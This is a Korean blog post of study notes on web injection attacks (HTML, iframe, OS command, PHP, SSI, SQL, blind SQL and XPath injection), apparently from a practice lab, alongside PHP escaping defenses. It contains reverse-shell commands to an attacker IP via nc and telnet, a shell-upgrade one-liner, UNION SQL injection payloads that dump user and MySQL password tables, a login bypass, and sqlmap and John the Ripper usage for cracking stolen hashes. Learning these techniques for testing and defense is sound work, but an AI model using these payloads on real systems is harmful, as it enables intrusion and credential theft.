A1-injection

Hacking/Web 2017. 2. 1. 17:14
반응형

1. HTML 인젝션

 - HTML 코드를 넣어보고 취약한지 확인

 - 코드가 그대로 출력된다면 '<'과 '>'같은 특수문자를 URL 인코딩하여 재시도

 - 안된다면 %3C, %3E를 또 인코딩하는지 확인(더블인코딩인지 확인) -> 만약 %3C가 %253C로 된다면 더블인코딩을 하는 것이므로 더블인코딩한 태그로 입력하여 재시도

 - 방어하기 위해서는 specialchars 함수를 이용하여 특수문자를 인코딩


* specialchars 함수

  = PHP에서 제공하는 기본 함수

  = HTML에서 사용하는 특수문자를 UTF-8로 반환 (&, ", ', <, >)

-> 하지만 인코딩된 입력값은 변환이 불가능하다는 것을 이용하여 우회가 가능하다고 한다. (참고 : http://blog.oneandonlyme.xyz/126)


2. iframe 인젝션

- 페이지 내에 iframe 태그를 주입

 - 주로 악성 URL을 삽입한 후 사이즈를 0으로 설정하여 숨기는 방법을 사용


3. OS 커맨드 인젝션

 - 시스템 명령어를 사용하는 변수 부분에 파이프라인( | )과 함께 다른 명령어 작성

 ex) | nc 10.10.10.5 -e /bin/bash

 - nc의 e옵션은 대부분 보안상 막혀있어 telnet 명령으로 이를 우회한다.

 ex) sleep 1000 | telnet 10.10.10.5 5555 | /bin/sh | telnet 10.10.10.5 6666 

 (hacker가 5555, 6666 포트를 열어둔 상태에서)

 - 방어하기 위해서는 외부에서 시스템 명령어를 사용하지 못하게 하는 것이 가장 좋고 안된다면 필요한 명령어만 가능하도록 설정


 * excapeshellcmd 함수

- 시스템 셸로 실행할 수 있는 특수 문자에 백슬래시를 붙여 명령을 실행할 수 없도록 방어 ( #, &, |, ;, * 등등)


4. PHP 코드 인젝션

 - exec() 함수나 eval() 함수를 사용한 경우 세미콜론(;)을 사용하여 다른 함수를 실행하는 취약점 존재

 - 취약점 파악 : 세미콜론 + system 함수 // 세미콜론 + shell_exec 함수

  ex) message=ok;system("whoami")


* pseudo-terminal

 - nc으로 셸을 사용할 경우 프롬프트가 없고 vi 편집기를 사용할 수 없다.

 - python -c 'import pty;pty.spawn("bin/bash")'

 - 위의 명령어를 작성하면 프롬프트가 뜨고 vi 편집기도 사용할 수 있다.



5. SSI 인젝션

 - SSI를 사용하는 웹 페이지의 경우 SSI 지시어를 처리하기 위한 '.shtml' 확장자 파일을 생성

 - SSI 지시어의 형식 : <!--#        -->

 - SSI 기능을 사용하지 않는 경우 웹 브라우저는 SSI 지시어를 주석으로 처리


6. SQL Injection

 - 사용자가 입력할 수 있는 곳에 '를 입력하여 SQL 오류 메시지가 출력된다면 SQL 인젝션 취약점이 존재하는 것

 - 취약점이 존재한다면 주석 문자가 무엇인지 파악한다. ( -- 인지 # 인지 )

   -> ' or 1=1-- 과 ' or 1=1#을 넣어보고 결과를 확인

- 데이터베이스의 특정 내용을 출력하는 기존 쿼리가 있는 경우라면 UNION SELECT 구문을 이용하여 또 다른 질의의 결과를 하나로 합쳐 반환하는 식으로 데이터베이스 정보를 수집 ( = UNION Based SQL Injection )


 * UNION Based SQL Injection (참고 : http://m.blog.naver.com/koromoon/120172851234 )

 - 두 질의의 결과를 하나의 테이블로 합치기 때문에 칼럼의 수가 일치해야 한다.

 - ' UNION SELECT ALL 1# -> ' UNION SELECT ALL 1,2# -> ' UNION SELECT ALL 1,2,3# 식으로 하나씩 증가시키며 페이지의 결과가 참이 될 때까지 확인 = 칼럼 수 확인

 - ' order by 1# -> ' order by 2# -> ' order by 3# 식으로 컬럼 수 확인도 가능


 시스템 변수 및 함수

 설명 

 database() 

 데이터베이스 명을 알려주는 함수 

 user() 

 현재 사용자의 아이디

 system_user()

 최고 권한 사용자의 아이디 

 @@version 

 데이터베이스 서버의 버전 

 @@datadir 

 데이터베이스 서버가 존재하는 디렉터리 



* 공격 순서

1. 취약점 존재하는지 확인 ( 입력창에 ' 입력)

2. 존재한다면 주석이 무엇인지 확인 ( --인가 # 인가)

3. 이전 쿼리에서 사용하는 SELECT 문의 칼럼 수 확인 ( select 1# 방식 , order by 1# 방식)

4. MySQL 버전이 5.0 이상일 경우 information_schema를 사용하여 테이블명 확인

 ( ' union select 1,table_name,3,4,5,6,7 from information_schema.tables# )

5. 사용자 계정 정보가 들어있을 테이블의 컬럼 이름 확인

 ( ' union select 1, column_name,3,4,5,6,7 from information_schema.columns where table_name='users'# )

6. 원하는 칼럼 내용 확인 - 노출된 칼럼 수보다 원하는 칼럼이 많을 경우 concat(칼럼1,칼럼2,...) 식으로 합쳐서 하나의 칼럼에서 출력되도록 함

 ( ' union select 1, concat(id,login),password,email,secret,6,7 from users# )


* addslashes( ) 함수

 - 홑따옴표('), 겹따옴표("), 백슬래시(\), NU(NULL 바이트) 앞에 \를 추가


* mysql_real_escape_string() 함수

 - 'NULL, \n, \r, \, ', ", ^Z' 앞에 백슬래시(\)를 추가


* 비밀번호 평문 변환

 1. John the Ripper 도구

 - SQL 인젝션의 결과로 얻은 비밀번호 해시 값을 텍스트로 저장

 - john --format:raw-sha1 [해시값이 저장된 텍스트명]

2. 웹 사이트 이용

 - http://station.net


* SQLmap 명령어 예시

sqlmap -u "공격 URL" --cookie="쿠키" --data "인젝션 시도할 변수들" -p "그 중 인젝션 시도할 변수" (-D DB지정 -T 테이블지정 -C 확인하고자하는칼럼들 --dump) [①--DBs / ②--tables / ③--columns / ④--current_user / ⑤--is-dba / ⑥--privilege / ⑦--password]

① 데이터베이스 내용 확인

② 모든 데이터베이스의 테이블명 확인

③ 현재 데이터베이스의 테이블에 있는 칼럼 명 출력

④ DBMS에 접속 중인 현재 사용자

⑤ 현재 사용자가 DBA인지? (데이터베이스 관리자인지?)

⑥ 사용자들의 권한 확인

⑦ 사전공격을 통한 패스워드 크랙

--dump : 확인하려 했던 칼럼들의 내용 출력명령


* 기본 제공해주는 mysql 데이터베이스의 user 테이블 이용

0 union select null,host,user,password,null,null,null FROM mysql.user


* AND 연산으로 로그인을 구현할 경우 우회가 굉장히 쉽다.

 ex) $sql = "select * from heroes where login = '" . $login . "' AND password = '" . $password . "'";

 - 로그인 구현 소스코드가 위와 같을 경우 사용자명만 알고 있다면 해당 사용자로 로그인이 가능하다.

 - rootable' or 'a'='b 라고 적어주면 rootable로 로그인 가능

 - login='rootable' OR 'a'='b' AND password='?' 일 때 AND 연산자가 OR 연산자보다 우선순위가 높다. 따라서 true OR false AND false -> true or false -> true 가 되는 것이다.


7. Blind SQL 인젝션

 - 쿼리의 결과를 참과 거짓으로만 출력하는 페이지에서 사용하는 공격

 - 데이터베이스의 내용을 추측하며 쿼리를 조작

 - 사용하는 함수 : substr, ascii, limit, length

* substr 함수 = 첫 번째 인자로 받은 문자열을 지정한 길이만큼 출력

 - 주로 문자 하나씩 출력하여 이름을 알아내는데 사용

 - substr(database(),1,1) = 데이터베이스 이름의 첫번째 문자 (index가 1부터 시작)

* ascii 함수 = 문자를 아스키코드로 변환

 - 필터링 된 것을 우회하기 위해 사용

* limit 함수 = 원하는 순서의 것을 원하는 만큼 가져올 수 있음

 - limit 0,1 = 첫 번째꺼 하나 반환 (index가 0부터 시작)

* length 함수 = 문자열의 길이 반환

- 문자열의 길이를 알아내면 substr 함수로 문자열을 추측하기 쉬워짐

 - select의 결과에 대해 length를 하려면 length((select .... )) 식으로 두번 묶어줘야 한다. (select의 결과를 ( )를 통해 하나로 묶어주는 것)


* blind SQL 인젝션에 사용할 쿼리 = 항상 참이 되는 쿼리 + 정보를 추출할 쿼리


* 인젝션할 때는 추측할 대상의 길이 값부터 파악한 뒤 글자 하나씩 추측


* blind sql injection 순서

1. '를 넣어봄으로써 오류가 뜨는지(뜬다면 취약점), 뜬다면 DB 서버와 버전 정보 등을 알아본다. (만약 결과가 하나로만 나와서 취약점이 존재하는지 파악하기 힘들다면 sleep 함수를 통해 공격이 된건지 확인해본다 -> 결과가 늦게 뜬다면 취약한 것!)

2. 참과 거짓일 때의 반응을 확인한다.

3. length와 select, limit을 통해 원하는 것의 길이를 구한 뒤 ascii, substr, select, limit을 통해 하나씩 무슨 글자인지 알아낸다.

4. 찾는 순서 = 테이블명(information_schema 이용) -> 컬럼명(information_schema 이용) -> 데이터( ex)select 칼럼 from 테이블 limit 0,1)


* 취약한지 확인하는 방법들

1. '를 넣어 오류가 뜨는가?

2. ' or 1=1# 또는 ' or 1=1--을 했을 때 정상처리되는가? (Boolean SQL)

3. ' or 'a'='a 했을 때 정상처리 되는가? (Boolean Based SQL)

4. ' or sleep(3) and 'a'='a했을 때 정상처리 되는가? (Time Based SQL)


common password suffixes = 비밀번호 정책상 반드시 입력해야 하는 특수문자나 숫자를 포함하여 사전 공격하는 것


8. XML/Xpath 인젝션

 = XML 구조에 악의적인 행위를 일으키는 내용을 삽입하거나 Xpath를 조작하여 XML의 내용을 노출하는 취약점

 * XML : 데이터를 트리 구조의 노드로 표현하며 사용자 정의로 데이터를 분류

 * Xpath : 일종의 쿼리로, XML 데이터베이스 내용을 선택하고 조작하기 위하여 사용

명령어 

설명 

 / 

 최상위 노드 

 // 

 현재 노드로부터 모든 노드 조회 

 * 

 모든 노드 조회 

 . 

 현재 노드 

 .. 

 현재 상위 노드 접근 

 parent 

 현재 노드의 부모 노드 

 child 

 현재 노드의 자식 노드 

 [ ] 

 조건문 

 node() 

 현재 노드로부터 모든 노드 조회 


* AND 연산은 OR 연산보다 우선하기 때문에 항상 OR 연산과 함께 참이 되는 쿼리를 입력하면 AND 연산 결과에 상관없이 항상 결과는 참이 된다.


 함수 

 설명 

 count()

 노드의 개수 반환 

 name()

 인자에 입력된 노드명을 출력 

 string-lenth()

 인자로 받은 문자열의 길이 반환 

 substring(문자열, 시작, 끝)

 문자열 잘라내는 함수 (index는 1부터 시작) 

 position()

 MySQL에서 limit 연산자와 같은 기능 (index 1부터 ) 

 string()

 문자열 반환 <- 값 확인 시 사용 


* XML 데이터베이스에서 사용자 정의로 같은 속성을 지닌 노드들은 모두 노드 명이 동일하다.


* XML을 호출할 때는 중간에 주석 문자를 입력하지 못하므로 정상 쿼리의 나머지 부분도 문법 오류가 발생하지 않게 쿼리를 입력

* ' //* '쿼리는 현재 노드로부터 모든 노드를 조회하는 Xpath 쿼리

반응형
블로그 이미지

rootable

,